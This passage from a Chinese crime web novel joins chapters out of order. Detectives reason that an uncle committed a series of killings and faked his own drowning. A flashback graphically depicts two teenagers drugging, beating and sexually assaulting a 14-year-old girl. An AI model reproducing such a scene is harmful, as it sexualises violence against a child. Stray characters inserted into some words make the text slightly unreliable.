陆从景:“但贾伟东完全没听到拖拽木箱或沙发的声音,他有重度神经衰弱,听力敏锐,曾立兴养只鹦鹉都能把他搞崩溃,如果许家有其x他声响,曾立兴听见了,贾伟东不可能听不见。而且我们做过实验,许忠家的那个木箱并不重,普通拖拽,不会发出太大的声音。” “所以你怀疑我三叔三婶说谎?” “戴丽华暂且不提,但曾立兴肯定说谎了。我下午仔细研究了许忠死后他们夫妇俩的口供,戴丽华的原话是,她听到‘锵’的一声响,曾立兴耳朵贴墙上,跟她说,许家有拖拽木箱或者沙发的声音。这个声音是曾立兴听到后转述给戴丽华的。” 也就是说,曾立兴有没有听到这个拖拽声只有他知道。 他有可能说谎。 夏木棉:“那跟东方华府又有什么关系?你怎么会联想……” “今天中午我跟张越凝聊天的时候,获得一个重要信息,那就是曾晖想要买东方华府的房子,但曾晖父母就是不同意。” “这个我知道,上次听三婶提起过,三叔不喜欢东方华府的房子。” “确定是曾立兴不喜欢?” “确定。三叔觉得那边风水不好。” “你们开会的时候,我查了东方华府的资料,发现它以前是白鹤食品厂专门做腌制食物的旧厂房。这个旧厂房旁边是老家具厂,而老家具厂是曾立兴单位的老厂房。” 木棉不由得毛骨悚然,难道真是她三叔曾立兴把她姐姐埋到食品厂地下了? 明后天周末双更哈[比心] 第22章第22章陆从景喝了口牛奶,“我是从…… 陆从景喝了口牛奶,“我是从那只鹦鹉开始怀疑曾立兴的。” “啊?” “啊什么啊!站着干嘛,坐下呀。”为了不让木棉难受,陆从景语气尽量轻松些。 木棉这才拉开椅子,在桌对面坐下。 “8年前,曾立兴和同伙把夏木橙埋在了老食品厂某个靠近家具厂的偏僻角落,前两年食品厂拆迁建房,他们怕挖地基的时候暴露,就偷偷把夏木橙挖了出来。” “至于为什么会选择怪楼作为藏尸点,应该是许忠听卢照麟提起怪楼主人摔伤了,近几年都不会回临城,而许忠跟曾立兴关系好,两人经常一起钓鱼,他很可能无意中把这条信息透露给了曾立兴。” 怪楼没人能进去,尸骨又藏在地藏王菩萨的莲花底座里,算是比较隐秘的。 但毕竟还是藏在闹世,有一定风险。 “尸骨长期藏在怪楼按理不是长久之计,曾立兴和同伙应该只是把怪楼作为一个临时存放点,只是他们没想到,还没来得及转移,就遇到胆大的网友来探险,打破了他们原有的计划。” 夏木棉低着头,她喉咙干涩,竭力控制着自己的情绪,不去想姐姐可能遭遇过的非人折磨。 陆从景继续道:“夏木橙的骸骨被发现后,警方最先调查的是贾伟东和卢照麟,曾立兴可能认为贾伟东这个靶点还不错,便主动帮警察锁定目标。你还记不记得曾立兴家那只装鹦鹉的鸟笼悬挂的位置?” 木棉努力回想,“悬挂在靠近贾伟东家阳台的位置。” 陆从景点头:“没错。那个鸟笼质量极差,说明曾立兴没想过要长期饲养鹦鹉。而鸟笼里只有少量的水,没有食物,鹦鹉非常瘦,食囊是空的,估计好几天都没好好喂食。” 木棉明白了。 所以,曾立兴是特意养了只鹦鹉,不好好喂食物,导致鹦鹉饿极了乱叫,制造噪音故意激怒有神经衰弱的贾伟东,逼迫贾伟东拿出猎枪杀了鹦鹉,把他送到警察面前。 想着想着,木棉又觉得不对,“但是,曾立兴凭什么认为贾伟东一个本就无辜的人,会没办法解释自己根本没杀人?他这个陷害能成功的几率看起来并不高。” 陆从景:“一是把警察的注意力转移到贾伟东身上,撇清自己的嫌疑;二是,贾伟东和曾立兴的关系本就很僵,不排除这只是曾立兴打击报复对方的一个手段;第三,曾立兴可能知道贾伟东贩毒的事,贩毒的数量还不少,已经到达死刑的地步,也就是说,贾伟东不可能主动交待,他当时去贩毒的事实。只是曾立兴没想到,贾伟东提供了虚假的不在场证明。” 木棉:“所以,曾立兴接下来把目标换成了许忠?” “许忠本身是案件关键的一环,卢照麟去红猿山打猎那几天,把天水坝鱼塘值班室钥匙放在门口石头下,让许忠帮忙看管鱼塘,但许忠基本没去。鱼塘值班室存放钥匙的位置,许忠很可能无意中透露给了曾立兴。” 曾立兴吊杀张皓钧后,下山途中不巧碰到了放学抄近路回家的梁小宇和夏木橙。 按说当时曾立兴应该在医院,结果却神色慌张地出现在后山,这肯定会引起梁小宇和夏木橙的好奇。 本以为把杀害张皓钧的锅,天衣无缝地嫁祸给吊颈杀手的曾立兴,没想到会遇见两个这么熟悉自己的人,他不允许自己功亏一篑。 “他找借口把这两个孩子骗到了天水坝的值班房,用他袋子里装着的乙醚把两个人都弄晕后绑起来。同时他通知自己的同伙,让同伙来善后。当时他同伙没有马上杀梁小宇和夏木橙,一个很重要的原因,可能是因为梁夏两人身上还有乙醚残留,凶手特意等了一天一夜才淹死梁小宇。这也给他们预留了充裕的时间去偷梁小宇的泳衣。这个时间,他们并没有转移梁夏二人,而是给值班室换了把门锁。” 许忠确实跟警方交待过,他去天水坝帮忙寻找夏木橙和梁小宇的时候,发现值班室门锁被换了。他当时以为是被天水坝老板换了钥匙。 木棉还有一点想不通:“但是当时曾立兴明明在医院住院做手术,这又怎么解释?” 陆从景从抽屉里拿出两张临城人民医院手术单复印件。 “这是我查到的曾立兴住院和做手术的记录单。他是2004年9月24日上午办理的住院手续,但做手术的时间是9月25日上午,也就是说,他办完住院手续后,以当时医院那么宽松的管理,他完全有时间溜出来执行他的杀人计划。曾立兴做的是肾结石腹腔镜取石术,没有急迫性,他安排的住院和手术时间,就是怕万一张皓钧案栽赃没成功,自己也能有不在场证据。” 木棉翻看着复印件,微微咬牙:“之前没想到这点。” 陆从景把话题拉回来:“曾立兴估计在贾伟东被放回来之后,就把目标转移到许忠身上。他应该也意识到,单纯的栽赃很难成功,所以,干脆一不做二不休,直接杀了许忠,然后把现场伪造成密室,让人误以为,许忠是畏罪自杀。” 木棉:“那天晚上曾立兴听见许忠家传来的声音后,先去找了许忠?” “我们之前推断凶手去了两次许家,应该是错的。曾立兴听见隔壁传来‘锵’的一声响之后,他没有去找许忠。而是等到夜晚差不多一点,才从许家厨房的小窗户爬了进去。” “为什么这么肯定?” “如果曾立兴敲门去了许家,贾伟东会听见敲门声。而且当时许忠在吃西瓜,如果曾立兴忽然上门,他会招呼对方一起吃西瓜吧?没有。现场留下的瓜皮,刚好能拼成半个西瓜,瓜皮和瓜囊上都只有许忠一个人的生物组织。” 有道理。 木棉又问:“曾立兴是怎么确定,许家厨房小窗户没上锁呢?” 陆从景:“曾立兴经常跟许忠一起钓鱼,他有很多机会偷偷配好许忠家的钥匙。在许忠不在家的时候,他有充裕的时间把带有许忠皮屑的劳工手套连同作案皮鞋和过期乙醚瓶子装进布袋放到许忠卧室的床底,同时还能确保厨房小窗户是没上锁的。” 木棉还有一点疑惑:“但曾立兴这个行为非常冒险,如果许忠家的煤气爆炸了,他家也可能会受连累。说不定把他也给炸了。” “许家用的是煤气罐,那个煤气罐里的煤气量是有限的,就算出事,也不会是大爆炸。” 那天曾立兴肯定一晚上没睡,如果发生爆炸或火灾,他们家肯定是能逃出来的。 木棉:“所以,他制造密室杀人后,等到第二天一早,跟着邻居一起进许家,趁人不注意进厨房扯掉小窗户上的鱼线,并把手机扔回许忠床上。” 陆从景:“甚至可能趁乱推了关盛勇一把,让关盛勇的指纹留在门把手上。” “有这个可能性。” 两人聊了会儿,木棉问:“师兄,你现在是怀疑曾立兴没死?他是借大暴雨,让人误以为他被洪水x冲走,从此假死失踪?” “我是这么怀疑的。” 不然无法解释,曾立兴为什么失踪前取走一万元。 而且作为一个常年钓鱼的成年人,曾立兴有正常的判断能力,雨势这么大的情况下,他理应马上离开河堤。 陆从景拿起笔,在软木板“鸭舌帽”卡纸空白处,写下“曾立兴”三个字。 木棉不解:“曾立兴为什么要跑呢?再次被传唤的是贾伟东,我们也没有任何针对曾立兴的调查,他保持沉默不是对他更有利吗?” “我跟踪张越凝的时候被张越凝发现了。” “哈?什么时候?” “前段时间。曾家的人也知道了我跟踪张越凝的事。” “你怎么知道曾家人已经知情了呢?” “从张越凝口中探听到的。” 木棉糊涂了,她看着软木板最中间的照片,说:“我没搞懂,张越凝是曾晖的女朋友,她举报张芷琼可能买凶杀了张皓钧,现在我们怀疑是曾立兴杀的张皓钧,那就是说,很可能是张芷琼花钱找曾立兴杀了张皓钧,如果张越凝是凶手或者帮凶,她怎么可能跟杀人凶手的儿子谈恋爱呢?不应该避开才对吗?这正好说明她原本不知情呀。” “我没说她知情。”陆从景又拿了一块曲奇吃起来。 “那你为什么把她相片放中间?” “我不是说了吗?这位置可上可下。” 木棉显然不相信,但陆从景不愿意多说,她也不好追着问。 她换了个话题:“你觉得,我三婶知情吗?” “不好确定。一般犯罪分子杀了人,是不会告诉任何人的,包括丈夫或者妻子。除非他们一开始就是同伙。” 婚姻并不是稳定的一成不变的结构,如果让对方知道自己杀过人,万一中途离婚,那随时都可能成为对方的把柄。 陆从景盖上了曲奇铁盒,“戴丽华会不会早就发现蛛丝马迹,那就说不准了。而且,曾立兴失踪前的最后联系人,是戴丽华。” 屋里很闷热,刚才他们进来没开空调,陆从景起身找出遥控器,把书房的空调打开了。 木棉坐在椅子上发呆,她现在是后背发凉,内心五味杂陈。 从小看着她们姐妹长大的三叔,特别疼爱她们的三叔,是杀她姐姐的凶手? 怎么会这样呢? 她不想相信这是事实。 缓了好久,木棉长长叹了一声,才问:“我们要跟组长汇报吗?” 陆从景并不介意:“你可以跟他汇报。我这个是纯推理,没有扎实的人证物证。要想找证据,还得靠组织的力量。” 而且,怎么把曾立兴这条线和张家的线串起来,这才是关键难点。 “如果戴丽华是知情者,那倒好办,盯着她,可能会有收获。” 就怕她也不知情,那线索很可能就这么断了。 第35章第35章虽然陆从景的推测都是一些间…… 虽然陆从景的推测都是一些间接的证据,但推理严丝合缝,刘泰安被说服了。 大家听完推理过程,都很兴奋。 现在缺少的就是直接证据。 会议上,刘泰安重新安排工作。 “程栋梁刘阳负责调查曾立兴和戴丽华所有的人际关系网、查明曾立兴失踪前一周的行踪;海亮和小董带人从今天开始,严密监视戴丽华的一举一动;小耿,你负责调取曾立兴出事地点两公里范围内24小时的所有监控录像,调取事发当天以及之后戴丽华的行踪轨迹监控视频。” 小耿为难道:“调取监控录像不难,但要把录像全部拉一遍,那需要大量的人力,单我一个肯定不行。” 刘泰安知道难度:“确实需要技术部门和基层派出所帮忙,我去协调。” “人越多越好。” 田海亮也赞同:“如果从景推测的方向是对的,那周围监控肯定会有发现。配多点人力,能提高效率。” 刘泰安:“我尽力协调。另外,张皓钧案的重启调查今天会批下来,到时候工作怎么安排,等我跟陈队商量再定。” 程栋梁问:“老大,贾伟东怎么处理?” “如果他在我们这边的嫌疑暂时能解除,那就把他转给禁毒支队。” “明白。” 刘泰安没给木棉安排工作,毕竟木棉还要负责陆从景手上的事务。 散会后,木棉把情况电话汇报给没来参会的陆从景。 陆从景安排她去跟进小耿那边的工作。 当天中午开始,木棉和小耿在技术中心视频分析室跟着同事们拉视频。 事发河面旁边是条小路,路上没有监控。 他们只能从周围两公里范围内的商铺外拍监控视频和外围大马路路段的监控视频上寻找线索。 那天下大雨,路上行人很少,但都撑着伞或穿着雨衣,很难辨别。 技术中心一个年纪较大的大姐,眼睛看得发涩,只能滴眼药水缓解。 滴完眼药水,她继续看,忽然,她看见一个身穿深蓝色雨衣的男人经过画面。 身高、胖瘦和轮廓都跟曾立兴非常相似。 “是不是这个?”大姐喊了一声。 旁边的人忙过来看。 2秒不到的视频画面,他们来回拉了十多遍。 木棉也小跑过来,虽然看不清脸,但她一眼认出了画面中的男人,“是他,是曾立兴!” 这是距离事发河段一公里左右的一处小杂货店外拍监控画面。 视频里,穿着雨衣,戴着雨帽的曾立兴低着头,快步从小店门口经过。 时间是13:42分。 “这是什么路?” “青海路。他前往的方向跟去临花江方向是相反的。” “他是从临花江那边走过来的?” “应该是。” 所以,曾立兴真的没死。众人都很兴奋。 木棉心情复杂,之前还抱着侥幸心理,希望不是自家人害了她姐姐,现在看来,陆从景推测方向是对的。 既然曾立兴没被洪水卷走,那他很大可能是躲起来了。 小耿吩咐:“把青海路中午1点30分左右的监控视频全部拉一遍。” 一个小时后,众人理出来一条清晰的路线。 曾立兴从青海路往北,跨过两条街,最后走进了一个叫百合的城中村。 傍晚,他们赶到百合村,调取各个路口的监控。 发现曾立兴进了村里一栋五层的居民楼。 找到该栋居民楼的房东,房东看了曾立兴的照片说半年前这个姓王的中年男人租了302房,目前是什么情况,他不知道。 房东找出租客提供的身份证复印件递给警察。 警察一查就知道是假的身份信息。 房东又说:“租出去这么久,没看见他来住过。” “他没来住?一直都没来?” “我没遇见过他。会不会偶尔来住,我就不知道了。要不,我帮你问问301和303的租客,看看他们知不知道情况?” 房东当即打电话去问其他租客。 301房租客没留意,303房的租客说,前几天不记得是哪一天晚上,曾经看见302房有灯光。 房东配合他们前去查看情况。 302房屋内没有亮灯,敲门没人应,房东拿出钥匙直接开了门。 打开灯,这是个一室一厅的农民房,屋里除了床、桌子和一个旧冰箱外,并没有其他东西。 冰箱里有一包没吃完的面包和半瓶喝过的汽水。 厕所没有水迹,看样子,曾立兴早就离开了。 警方把这栋楼外面路口这几天的监控都拉了一遍,发现曾立兴在事发当天中午入住,第二天早上六点就离开了,之后再没回来过。 租了半年,只住一晚? 木棉觉得很蹊跷。 如果曾立兴早就准备好要离开,为什么还要租半年的房子呢?他玩失踪当天直接离开临城就好了。 她想不明白。 而曾立兴最后消失在淮南路往西的一个监控视频里。 之后再怎么找也没他的踪影。 他消失的那一片区域有很多跑长途的黑车,警方要一个个去找,一个个去询问,宛如大海捞针。 但无论如何,起码是有方向了。 程栋梁在查曾立兴和戴丽华关系网的时候,发现他们夫妻俩原来是初中同学。 而他们初中同学里,有一个人是警方最近在调查的嫌疑犯,那就是请贾伟东走私贩鹅的老板霍兵。 霍兵现在是汇海贸易仓储负责人,因涉嫌贩卖毒品,前几天被刑拘了。 但他们同学之间并没有什么来往,完全没有电话往来记录。 程栋梁还是隐隐觉得,其中有某种联系。 比如,曾立兴通过霍兵的某个渠道,无意中知道了贾伟东贩毒的事,这就给了他栽赃贾伟东的胆子。 毕竟贾伟东不敢把自己贩毒的事说出来。 而盯着戴丽华的田海亮,连续两天都毫无收获。 戴丽华在丈夫出事后就x没出过门,菜是亲戚帮忙买的,家里没断过人,也没陌生电话接入。 曾立兴的电话号码始终没信号。 刚好张皓钧的案件重启批下来后,工作进行了重新分工,田海亮去跟张皓钧案,监视戴丽华的工作就交个了小董负责。 张越凝早上出门前,特意绕到前宅去找赵润嵩。 赵润嵩和他母亲彭秀正在餐厅吃早饭。 彭秀听见脚步声,回头看了一眼,笑问:“越凝你吃早点了吗?” “我吃过了。奶奶你今天没去医院?” “我晚点要去的。” 张越凝站在餐桌前,问赵润嵩:“二舅,你这两天有没有时间,想跟你约个饭?” 赵润嵩笑问:“怎么了?你跟我吃饭还要约?” “邹富贵不是你同学吗?我们律所最近接了他们那边的两个案子,打算请他吃顿饭,他想叫上你。” 赵润嵩微微蹙眉:“你就说我没空。帮我推掉他。” 彭秀好奇:“邹富贵想约你二舅吃饭?” 张越凝:“是啊,奶奶你也认识他?” 彭秀笑道:“以前住一个院子的,这人从小就滑头,你二舅小时候傻头傻脑的,老被他晃点。” “我不是傻头傻脑,我那是善良。”赵润嵩跟张越凝解释:“汇海老板让他找了我好几次,汇海想做我们供应商,你也知道汇海底子不干净,这种人,少惹为妙,他们的案子,我劝你们最好少接。” 张越凝笑着点了点头:“明白了。那我推掉他。奶奶,二舅,我先去上班了。” 彭秀叮嘱:“开车注意安全。” 张蕤帆刚好从楼上下来,他见张越凝出去,“那么早?” “我上午有案子要开庭。” 临城郊区一家老院子私房菜馆,张越凝和沈青一前一后进了里间包厢。 邹富贵和他一个下属先到了。 “越凝来了。”邹富贵起来打招呼,他今天依然是一身亮色西装,走哪儿都是最惹人注目的,“你舅舅真是,想约他吃饭太难了。” 张越凝笑着坐下,“他这段时间忙,我在家里也难得看见他。” 她看了眼桌上的茅台和酒杯,“中午就不喝酒了。我们下午还有工作。” “那把酒存起来,我们下次喝。”邹富贵吩咐属下,“叫服务员上菜。” 他们边吃饭边聊骆安乔的案子,难度不大,准备好赔钱的话,可能判三个月左右。 邹富贵:“他现在都进去一个多月了。等审完,就三个月了吧?” “差不多。审完最多关一两周就可以放人。” “那就好。” 最后又扯到霍兵贩毒的案子上来。 邹富贵问:“霍兵的案子警察没有缴获毒品,也就是说只有人证没有物证,是不是判不了?” 张越凝摇头:“不一定的。只要证人足够多,能够形成完整的证明体系,是可以定罪的。而且警方在霍兵家找到了一些对他很不利的证据……” 邹富贵叹了一声:“这个案子要劳你们多费心啊。” “这是霍兵个人的案子,跟你们应该没关系吧?” 邹富贵忙撇清:“当然没关系,不过霍兵是我们公司的管理层员工,如果他被证实贩毒,那对我们也很不利。” “跟你们没关系就好。他这个案子我们律所可能接不了。” “为什么?” 张越凝找了个借口:“每个律师事务所擅长的业务不同,我们没打过这类官司,没有把握,所以老板不让接。” 邹富贵表示理解,“那还得换律师团队。你们跟霍兵家人说了吗?” 沈青回道:“上午我已经跟他家人说清楚了。” 吃了午饭,从院子里出来,张越凝接到曾晖电话。 两个人自从上次吵架之后,一直没联系。 曾晖打电话给她,也没提道歉的事,只说:“晚上一起吃饭。” 张越凝略显失望:“就这样?那你别给我电话了,我们先冷静几天吧。” 说完挂了电话。 张皓钧案重启后,跟梁小宇夏木橙和许忠案进行了并案,由刑侦大队2组和3组共同负责。 刘泰安作为组长,在会议上,对案件进行了重新梳理。 “如果张皓钧案是这一系列案件的起点,那么张皓钧的家人就尤为重要。花三天时间,我们自己先梳理清楚所有的关系,然后再逐个谈话,提取DNA……” 他们给这一系列案件命名为“百步双四大案”。 第一个4是04年的意思,第二个4则代表了14年,而且目前牵扯了4条人命,绝对算是重案。 就在他们以为系列案件只牵扯4条人命的时候,第五具尸体发现了。 这天中午,在临花江下游发现了一具高度腐化的男尸。 该男尸身上穿的衣服,跟曾立兴失踪时穿的一模一样。 总共45章,还剩下35章,元旦完结哈。 第24章第24章外面的太阳烈如焰火,耳畔传…… 外面的太阳烈如焰火,耳畔传来同学们在走廊打闹的声音。 下午上课前,张越凝坐在座位上看英文版的《呼啸山庄》。 课桌上忽然多了样东西,她瞥了一眼,是颗绿色的魔鬼糖。 “吃吗?”前面桌的男同学刘晋伏回过头问她。 张越凝不想吃,“我牙疼,你给别人吧。” 刘晋伏长得颇为秀气,是初二(2)班的学习委员,在张越凝考第一之前,一直都是他第一。 这人也是个书呆子,他似乎没听懂她拒绝的潜台词,“你牙怎么了?” 张越凝: 刘晋伏:“是不是上火发炎?” 张越凝: 没多久,刘晋伏又给她递来一包撕开的九制陈皮,“你吃这个,下火的。” 张越凝终究还是选择做个友善的同学,她取了一小块陈皮放进嘴里。 又咸又酸,却是好吃的。 她把剩下的还给对方:“谢谢。” “你留着吃。” “不用了。我不喜欢这个味道。” 刘晋伏只好把零食收了回去,过了会儿,他又回过头来,带着点腼腆语气问她:“你喜欢吃什么?” 张越凝抬头瞥了眼对方,“我没什么喜欢的。” 刚好她同桌进来放下书包,听见刘晋伏的话,笑嘻嘻地说:“她喜欢吃刺梨干。” 第二天,她课桌上多了一包刺梨干。 张越凝还没来得及问谁放的,同桌已经撕开,并拈了一块刺梨干放张越凝嘴里,并轻轻碰了碰她的肩膀,“甜吗?” 酸甜。 周围同学跟着起哄:“包甜的。” 从没经历过这种场面的张越凝瞬间红了脸,而坐她前面的刘晋伏连脖子都红了,头都不敢抬。 后来,刘晋伏总是偷偷给她带各种各样好吃的小零食。 他家是开小超市的,什么东西都有。 她数学英语地理历史的成绩很好,他是语文物理生物在她前面。 两人完美互补。 但他们从来不聊学习,只聊闲书。 她把自己喜欢看的小说《挪威的森林》偷偷带给他看,他躲在被窝里看了一个晚上,第二天拿回来还她。 看着他那略微有些乌青的眼底,张越凝问:“你看完了?” “嗯,看完了。”随即,少年昂着他那略显幼稚而纯真的脸,摇头,“没看懂。” 一句坦诚的“没看懂”把张越凝逗笑了。 以前她也曾借给别人,对方明明不喜欢,却又还要假装清高地批判一番,比书中人物更让她感悟良多。 “没看懂你还通宵看完?” 因为他倔强又好奇。 没看懂,他还想接着看,“还有吗?” 他要看同一个作者的书,张越凝把《发条鸟年代记》给他带来了。 看完发条鸟,她又带了其他书给他。 某天,他问她最喜欢哪个角色。 张越凝摇头表示没有特别喜欢的。 他又问:“这个作者笔下的女角色,如果让你改写,你会改写谁的命运?” 张越凝很认真地思索:“初美。” “为什么?” “我会让她为自己而活。” 为自己而活。 他似懂非懂地点头。 快期末的时候,她给他带了《世界尽头和冷酷仙境》。 班主任发现了刘晋伏书本下的小说。 “这不是你这个年龄应该看的书。” 之后便把书给没收了。 他们马上初三了,在古代已经是可以结婚成家的年纪,在现代,他们都还只是小孩。 刘晋伏不敢说话,只能眼睁睁看着老师把书拿走。 课间,两人趴在窗台看操场上的同学打篮球。 他闷闷不乐地说:“我想办法跟罗老师要回来。” 张越凝安慰他:“要不回来也没关系。” 一阵热风吹来,教室那薄薄的蓝色窗帘被吹起,将两人包裹住了。 窗帘打在她后脑勺上,她嘶了一声。 刘晋伏伸手帮她把窗帘挡开,就这么张着手,在她身后。 她扭x头看,两人不禁都愣了一下,随即相视而笑。 本也瘦弱的他,一瞬间在她心里的形象变高大了。 “刘晋伏,下来打球!”有同学站在操场上喊。 楼下玩闹的学生们抬头看过来,包括隔壁班的张皓月。 张皓月收起脸上的笑容,冲着张越凝叫了一声。 刘晋伏好奇:“你表妹叫你什么?” 张越凝没看张皓月,只解释:“她叫我乳名。” 她撩开窗帘,回到了座位上。 下午放学回到家,张皓月把张越凝堵在楼梯口。 “你跟他睡了?” 张皓月见不得她成绩好,见不得她出风头,见不得她有男生喜欢,见不得她在任何的领域比自己好哪怕一点点。 张越凝不想理她,“闪开。” 张皓月偏不。 她往左,她跟着往左。 她往右,她也往右。 恰在此时,楼下大门口传来声响,张鸿禺回来了。 张皓月忽然往墙上一撞,跌倒在楼梯上,随即大声叫嚷起来。 “张越凝你推我!” 张越凝看着她那拙劣的演技很是无语。 最先赶来的赵蕤帆问:“怎么了?” 张皓月:“她推我!” 张鸿禺和彭秀听见声音也已经来到楼梯下,赵蕤帆第一时间帮张皓月告状:“张越凝推皓月!” 说着赵蕤帆要去扶张皓月起来,谁知被张皓月一把推开。 “不要你扶,我要她扶。” 拨开指向自己的手指,张越凝并不让步:“你自己故意摔的,演戏给谁看?” 张鸿禺一听,气得头发往上抖了两抖。 老爷子从来不直接罚张越凝,他甚至不正眼瞧她。 半个小时后,匆匆赶回来的张芷琼当着全家人的面扇了张越凝两耳光。 她只觉得耳朵嗡鸣,恶心反胃,想吐。 这直呼耳光的教育,不止打了张越凝的脸,也打张鸿禺的。 张鸿禺扔下筷子直接回房了,彭秀只得把张芷琼拉开,小声劝说道:“孩子那么大了,有自尊心的,你不能当着这么多人的面打她。私底下教育就好了。” 难道张芷琼不懂这个道理? 她也是在跟张鸿禺置气。 张越凝挨了耳光,张芷琼积了怨气,张鸿禺觉得丢了面子。 张皓月认为没有收到张越凝的正式道歉,也满脸怨气,她已经忘了,源头不过是她自导自演的一段低劣而无人探究的把戏。 只有旁人看了热闹。 第二天,是张皓钧张皓月的生日,晚上,家里给他们举办了生日会。 张芷琼终究还是对她父亲屈服,她帮张越凝准备了两份生日礼物。 当着家人和同学的面,张皓月走前来,非常友善地抱了抱张越凝,“谢谢。” 而后,微笑着在她耳边低语:“你等着,小贱货。” 张越凝警惕之心骤起。 吹完蜡烛,在切蛋糕,张越凝想借口肚子不舒服上楼,结果被张芷琼拦住。 张芷琼警告她:“爷爷在呢,别不识好歹。” 张皓月非常乖巧地给大家递蛋糕,也给张越凝端来了一块。 蛋糕端在手中,张越凝没有吃,张皓月见状,立马对张芷琼撒娇:“姑姑,你看,她不肯吃,还生我气呢,总给我脸色看。” 她是故意说给爷爷听的。 “越凝今天肚子不舒服,少吃点,意思一下。”张芷琼给张越凝递了一个眼色。 张越凝不得不吃了一口。 蛋糕味道有点怪,她忍着想吐的冲动,实在咽不下去,最后还是吐了一地。 看着满地狼藉的蛋糕,都认为张越凝是故意的。 张皓月气得嗷嗷叫,张芷琼狠狠拧女儿的胳膊,毕竟有客人在,也不好直接骂她。 爱面子的张鸿禺嫌她丢人,满是失望地吩咐:“让她回房休息吧。” 秦姨扶张越凝回房,她整个人昏昏沉沉的,她怀疑张皓月在给她的蛋糕里放了东西。 她去厕所扣喉,但再也吐不出来。 简单洗漱后,张越凝倒头就睡。 当时张家还住在老城区的三层洋房里,家里几个小孩都住三楼。 她的房间挨着张皓钧的,对面两个房间分别住着张皓月和赵蕤帆,平时除了彭秀和保姆,也没人来管他们。 张越凝是在半夜被一盆冷水给泼醒的,睁开眼就对上了张皓月那张毫无血色的瓷白的脸。 “醒了?” 张越凝还没反应过来,只觉得眼前白光一闪,一个木质的东西打了过来,砸在她脑门上。 她下意识想要护住脑袋,发现双手完全动弹不得。 这才发现自己双手被反绑在床头铁架子上。 “张皓月……” 嘭! 乒乓球拍又打了过来。 眼前花火在往外飞溅,张越凝痛的脑袋嗡嗡响。 张皓月得意地眉毛网上挑:“不吐了?你吐呀!看看有谁可怜你!” “你倒是打死我!” “我为什么要打死你?你死了,我怎么办?谁给我输血?”张皓月用手去捏张越凝的脸,“你为什么要勾引刘晋伏?为什么?你配吗?你以为你成绩好,就配了?!这么丑的一张脸,你也不照照镜子!” 骂完捏完张皓月还不解恨,又用乒乓球拍打张越凝的脑袋。 痛!张越凝以为自己的脑浆要喷出来了。 张皓月怕打脸有痕迹容易被长辈看现,她都是朝张越凝的脑袋上打。 双手被绑,但她双脚是自由的,张越凝借着床头的力道,双手往后一拽,双脚扫了过去,张皓月一个不提防,被踹倒在床头柜上。 噼啪! 床头柜上放着的玻璃盒和台灯一起被扫落在地。 张皓月的脸擦在玻璃渣上,血缓缓流了下来。 “血!我流血了!”她没想到张越凝害她受伤了,张皓月大喊着,“赵蕤帆,把她衣服扒了!” 张越凝这才发现,床尾阴影处站着一个胖胖的身影。 赵蕤帆听了张皓月的号令,立马扑了过来。 张越凝双手被绑在床头,衣服不好扒,他直接扒裤子。 卧室里只开了一盏灯,光线昏暗。 张越凝先是往床头躲避,但她双手被绑紧了,躲不过,她只能用脚去踹对方。 张皓月见赵蕤帆一个人手忙脚乱还被踹,她爬到床上来帮忙。 裤子被扒掉后,内裤也扒了。 赵蕤帆气喘吁吁地盯着,看愣了。 “用避孕套!”张皓月提醒他。 赵蕤帆打了个冷颤,赶紧移开眼。 “别了吧!” “你怕什么?!!” 张越凝来月经了,都是血,赵蕤帆看的头晕。 “我不行。” 张皓月不可置信地瞪着他:“你有病啊?!” “我看了血头晕。” 张皓月摸了摸自己脸上的血:“你看着我的血怎么不头晕。” “不一样。你就这点血……我真的不行,你找别人吧。” 张皓月后悔找错人了。 但她不愿意就此罢休,周围扫了一眼,目光停在地上的乒乓球拍手柄上。 “你帮我按住她,这你可以办到吧?!你看我怎么用乒乓球拍捣碎她。”这是个14岁女孩说的话。 张越凝拼死挣扎,但她一个被绑着的人,怎么抵抗得了对面的一男一女。 她惨叫出声! 这屋子隔音好,她叫破喉咙,估计也就旁边的房间能听到。 她痛得脚底绷直了。 “你们干什么?!”张皓钧的声音从阳台传来。 张皓钧听见声响,从阳台上翻进来了。 赵蕤帆吓得马上松开了按住张越凝的手,他撇清:“不是我!” 张皓月翻了个白眼:“你不是出去了吗?” 张皓钧一把拽开张皓月,看着满床的血,他声音都变了:“她会死的!” “这是月经的血!死不了!别大惊小怪。”张皓月看着已经没有半点力气的狼狈不堪的张越凝,终于心满意足地笑了,“张越凝,你记住,苟活着就好,别在我面前得意忘形,忘了你自己的身份,不然,你会比这次更惨!” 她嫌弃地在床单上擦了擦手上的血,这才往外走。 几个人中,年纪最大的赵蕤帆,像哈巴狗似的,跟着一起出去。 刚出去,张皓月又开门进来,她走前来,指着张越凝,小声警告张皓钧:“你要是敢告诉爷爷和姑姑,我就把你拿着这小贱货照片自慰的事,告诉所有人!” 张皓钧仿佛被羞辱般,怒吼了一句:“滚!” 房门再次关上,张皓钧颤抖着双手帮张越凝把乒乓球拍拔出来,扔在了一边,随即给她松绑。 两人从始至终没说一句话。 直到他离开房间。 周围安静下来,张越凝盯着天花板一动没动,没人了,眼泪终于从眼角滚落。 第二天清早,新来的保姆看到床单的血,偷偷跑去跟张芷琼说了情况。 张芷琼开门进来,看着正在收拾书包的张越凝,气冲冲道:“故意的是不是?有夜用卫生巾,你为什么还能弄一床单的血?因为我打了你两巴掌,你故意跟我作对是不是?” 张越凝昨x晚几乎没睡。 她脸色通红,眼神疲倦,整个人仿佛飘在了空中:“张皓月欺负我。” 张芷琼一愣,随即骂道:“皓月严重贫血,力气没你大,她还是女的,她还能强奸你?!!” 张越凝正要说话,被张芷琼打断:“我不想理你们这些小屁孩的恩恩怨怨,你能不能给我省点心?” “我发烧了……” “别这样看着我!”张芷琼受不了张越凝那可怜兮兮的样子,手背往她额头一贴,“发烧了怎么不早点说?还收拾书包干什么?装可怜给谁看?!” 张芷琼离开后,秦姨拿来退烧药哄着她吃,张越凝趁人不注意就把药倒进了旁边的花盆里。 她已经下定决心,她要跟张皓月赌命。看谁先死。 收回思绪,站在张家老洋房花园里的张越凝,昂头看着三楼两间并排在一起的阳台,铁栏杆已然生锈。 十余年的时光,这里的一切也早已物是人非。 她手里捏着瓶装的苏打水,目光瞥向别处。 除非必要,不然,她压根不想走进这座阴气沉沉的老宅。 秦姨从大门口出来,笑着问她:“找到了,是这本吗?” 今天中午吃饭的时候,张鸿禺想看一本手抄老书,那本书一直放在老宅书房里,他让张越凝回来找了带到医院给他。 张越凝不想一个人来,便回家叫上了秦姨。 “是这本。” “你不是有事吗?你先走吧,我打车送去医院给贺成,让他给你爷爷。” “好。”张越凝自己驱车先离开了。 